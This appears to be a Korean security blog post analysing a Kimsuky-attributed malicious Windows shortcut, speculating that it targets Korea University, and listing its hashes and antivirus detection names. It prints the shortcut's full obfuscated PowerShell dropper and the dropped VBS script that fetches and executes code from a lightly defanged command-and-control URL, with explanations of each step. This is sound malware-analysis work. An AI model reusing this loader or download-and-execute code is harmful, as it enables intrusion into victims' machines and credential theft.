꿈을꾸는 파랑새

오늘은 고려 대학교하고 관련이 있을 것 같은 김수키(Kimsuky) 만든 악성코드에 대해 글을 적어 보겠습니다. 제목을 이렇게 붙였지만 일단 私見이 들어가져 있습니다.
왜 그런 것인지는 글을 잘 읽어 주시면 됩니다.
악성코드 해쉬값
파일명:1.lnk
사이즈:5.92 KB
MD5:9110aeca8e78ede7b913ac54b4332b00
SHA-1:50f580199250c5b9ca7e9a3b4ccea5d8603eab28
SHA-256:bd017c642fcd0b46fb1201f22d395edbf16221ebbcb660f7329fb76067164d07
일단 실행을 하기 전에 악성코드에 포함된 파워셀 코드는 다음과 같습니다.

악성코드 에 포함된 파워셀 코드
악성코드 에 포함된 파워셀 코드

StringData
{
 namestring: Type: Text Document
 Size: 5.23 KB
 Date modified: 02/20/2023 11:23
 relativepath: not present
 workingdir: not present
commandlinearguments:                                                                  
 /C f(H)jk4fTLlkc5DZfyorHstui(9)FxCd6(x)w3Jkdddddddddddddddfklsjjjjdjjjjjjj
 jjsdfjjjjjjjjjjjsdfjj(j)jjsdfjjjjjjjjjjjsssssss(d)jdddddddddikkkkdddddd(d)dd
 dddddddddddddddddddddddd(d)dddddddddddddddddddddddddddddddddddddd(d)kdddddddd
 ddddddddd(d)dddddddddddddddddddddddddddd(d)ddddddddddddddddddddddddddddddddddd
 ddd(d)dddddddddddddddd(d)ddddddddddddddddddddddddddddddddddddddddddddkkkkkkkkk
 kkffffffffffffff(f)ffffffffffffffffffffffffffkkkdkkkkkkkkkkkkkk(k)kkkkkkkkdddd
 ddddddddddd(d)(d)ddddddddddddddd(d)dllllllllllllllleZWhdwrpiX+F4gEcRJCp5kddddd
 ddddddddlkjsldkfjlkjlkjl(k)jlkjjjjjjj(j)jjjjjjjsdfffffff(f)ffffffslkjlkksdflkj
 lknnlksn(l)dkfjli1KXfjUxLJXU8QzW5||goto&P^(o)^w^e^R^S^(h)^e^L^L -windo(w)style
 hidden -c function getShapePath(){$lnkpath = G^e^t-C^hi^ld^Item *.lnk;$lnkpath
 = $lnkpath^| w^he^re-o(b)^ject {$_.length -eq 0x000017B1} ;$lnkpath = $lnk(p)a
 th^| S^el^ect-O^bject -Expand(P)roperty Name;return $lnkpath;} function getImg
 Content(){$lnk(p)ath = getSha(p)ePath;$file = ^g^c $lnk(p)ath -E^nco^din^g Byt
 e;r(e)turn $file};funct(i)on makepath(){$lnkpath = getShapePath;$lnkpath = '%t
 emp%\'+$lnkpath.substring(0,$l(n)kpath.length-4);return $lnkpath};func(t)ion m
 akepath1(){$path1 = '%temp%\tmp' (+) (Get(-)Random) + '(.)vbs';return $path1;}
 ;function ch(a)ngecontent(){$file = getImg(C)ontent; for($i=0; $i -lt $file(.)
 count; $i++) { $file[$i] = $file[$i] -b(x)or 5 };return $file;};function su(b)
 save{$path = makepath;$bytes = chan(g)econtent;$temp = $bytes ^| select -Skip 
 005602 ;$temp = ($temp ^|select -Ski(p)Last 000453);sc $path ([by(t)e[]]$temp)
 -Encoding Byte(;)return @($path,$bytes);};function sa(v)econtent(){$_a_res = s
 ubsave;$path1 = makepath1; ^s^c $path1 ([byte[]]($_a_(r)es[1] ^| select -Skip 
 005612)) -Encoding Byte;return @($_a_res[0],$path1);};$_a_path = savecontent;$
 path1 = $_a_path[0];$path = $(_)a_p(a)th[1];^& $path1; ^& $path;
 iconlocation: C:\Windows\System32\notepad.exe
}

코드 분석

1. 각 함수의 동작 분석
함수는 현재 디렉터리에서. lnk 파일을 찾음
조건:. lnk 파일의 크기가 0x0(0)0017B1 (즉, 6,065바이트)인 경우에만 해당 파일을 대상
해당 조건을 만족하는 파일의 이름을 반환
getImgContent() 함수
getShapePath()에서 반환된. lnk 파일을 바이너리 모드로 읽음
파일의 전체 내용을 바이트 배열로 반환
makepath() 함수
함수는 임시 디렉토리(%temp%)에. lnk 파일 이름을 기반으로 새로운 경로를 생성
.lnk 확장자를 제거한 파일 이름을 사용
makepath1() 함수
해당 함수는 임시 디렉토리에 무작위 숫자를 붙여서 (.)vbs 파일의 경로를 생성
Get-Random 함수로 랜덤한 숫자를 생성하여 파일 이름의 일부로 사용
changecontent() 함수
getImgContent()에서 읽어온 바이트 배열의 각 바이트를 XOR 연산(-bxor 5)을 사용하여 변환
subsave() 함수
makepath()를 호출하여 임시 파일 경로를 생성
changecontent() 함수를 통해 변조된 바이트 배열을 가져옴
변조된 바이트 배열에서 처음 5602바이트를 건너뛰고(-Skip 005602) 마지막 453바이트도 건너뛰고 중간에 남은 부분만 새로운 파일에 저장
변조된 파일의 경로와 전체 변조된 바이트 배열을 반환
savecontent() 함수
subsave() 함수를 호출하여 첫 번째 파일을 생성하고 경로를 얻음
makepath1() 를 호출하여 새로운 무작위 경로를 생성
두 번째 파일로는 전체 변조된 바이트 배열 중에서 처음 5,612바이트를 건너뛰고 나머지 부분을 저장
첫 번째 파일과 두 번째 파일 경로를 반환
최종 실행 코드
savecontent() 함수를 호출하여 두 개의 파일 경로를 얻음
2. 악성 행위의 목적
XOR 연산: 해당 스크립트는 XOR 암호화를 사용하여 파일 내용을 변조하고 있으며 해당 암호화는 간단하지만, 특정 목적에 맞게 데이터를 숨기거나 변조하는 데 사용
VBS 스크립트 생성 및 실행:스크립트는 .vbs 파일을 임시로 생성하고 이를 실행
아이콘 지정:
iconlocation: C:\Windows\System32\notepad.exe는 특정 파일이나 바로 가기(.lnk) 파일의 아이콘을 notepad.exe 프로그램의 아이콘으로 지정사용자가 파일을 탐색기에서 볼 때 이 파일이 메모장 아이콘으로 보이게 만들기 위함

tmp1723305904.vbs 내용
tmp1723305904.vbs 내용

C:\Users\Admin\AppData\Local\Temp\tmp760856830.vbs 에 tmp760856830.vbs 파일을 생성합니다.

tmp760856830.vbs 내용

On Error Resu(m)e Next
set osa_ns = Cre(a)teObject("Shell(.)Application").NameSpace(21)
res_path = osa_ns.Self.Path & "\password(.)txt"
res_content="rhfueo)@@)"
Set fso = CreateObject("Sc(r)ipting.Filesystemobject")	
set fp = fso.OpenTextFile(res(_)path, 2, True)
fp.write res_cont(e)nt
fp(.)close
Set mx = Cre(a)teObject("Microsoft(.)XMLHTTP")
mx.open "GET", "hxxp://hondes(.)getenjoyment(.)net/denak/info/list(.)php?query=1", False
mx.Send
Execute(mx.re(s)ponseText)

코드 분석

1. 오류 무시 (On Error Resume Next)
해당 명령은 스크립트에서 오류가 발생하더라도 이를 무시하고 계속해서 실행하도록 하며 코드가 예상치 못한 오류로 말미암아 중단되는 것을 방지하며 악성 코드를 숨기려는 방법으로 자주 악용
2.특정 경로 설정
Shell(.)Application 객체를 사용하여 Windows의 특정 폴더에 접근
NameS(p)ace(21)는 시스템의 Temp 폴더(임시 파일 저장 폴더)를 나타냄
res_path는 해당 임시 폴더에 password(.)txt라는 파일을 생성할 경로를 설정
3. 파일 생성 및 내용 작성
res_content 변수에 "rhfueo)@@)"라는 문자열을 저장
Scripting.FileSystemObject를 사용하여 파일 시스템에 접근하고 res_path 경로에 password(.)txt 파일을 생성
파일에 res_content 내용을 기록하고 파일을 종료
4. HTTP 요청 전송 및 응답 실행
Microsoft(.)XMLHTTP 객체를 사용하여 HTTP 요청을 수행
GET 요청 방식으로 hxxp://hondes(.)getenjoyment(.)net/denak/info/list(.)php?query=1 URL에 연결
서버로부터 응답을 받으면 Execute(mx(.)responseText)를 통해 응답으로 받은 내용을 코드로 실행
왜 앞서 제가 고려 대학교하고 관련이 있는지 추측을 한 것은 rhfueo 이것 해당 부분을 한글로 키로 변경해서 입력하면 고려라고 돼 있어서 해당 부분이 고려 대학교 학생 및 고려 대학교 교수와 임직원을 대상으로 한 것이 아닐까 생각을 합니다.
언제나 私見이며 ID 포함 비밀번호 탈취 목적으로 생각됩니다.
뭐 대부분 보안 업체들은 탐지하고 있지만 역시 난 마이크로소프트 쪽은 늦어지는 기분이 드네요. 솔직히 신고하기 귀찮습니다.
AhnLab-V3:Dropper/LNK.Kimsuky.S2172
AliCloud:Trojan:Win/Wacatac.B9nj
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Trojan.Generic.D468F63B
Avast:LNK:Agent-DP [Trj]
AVG:LNK:Agent-DP [Trj]
Avira (no cloud):LNK/PSRunner.VPIC
BitDefender:Trojan.GenericKD.73987643
Cynet:Malicious (score: 99)
DrWeb:Trojan.DownLoader47.28215
Emsisoft:Trojan.GenericKD.73987643 (B)
eScan:Trojan.GenericKD.73987643
ESET-NOD32:A Variant Of Generik.FCQHESX
Fortinet:LNK/Agent.NWV!tr
GData:Win32.Trojan.Agent.N2J862
Google:Detected
Gridinsoft (no cloud):Susp.Obfuscted_PowerShell_Code.C.sd!yf
Huorong:Trojan/LNK.Agent.h
Ikarus:LNK.PSRunner
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Lionic:Trojan.WinLNK.Powecod.4!c
MAX:Malware (ai Score=89)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Trojan.zx
Sophos:Troj/LnkObf-T
Symantec:CL.Downloader!gen20
Tencent:Win32.Trojan.Powecod.Qsmw
Trellix (ENS):LNK/Agent-FYP!9110AECA8E78
Trellix (HX):Trojan.GenericKD.73987643
Varist:LNK/Agent5.JN
VIPRE:Trojan.GenericKD.73987643
WithSecure:Suspicious:LNK/SuspiciousLNK.B
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.c
그리고 오래간만에 안랩 V3에서 탐지 명이 김수키 인 것을 보니 신기하기도 합니다. 결론 그냥 돈 주고 이름 있는 유료 백신(안티바이러스)프로그램 사용을 하는 것을 매우 권장하고 기본적인 보안 수칙도 잘 지키는 것도 중요 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band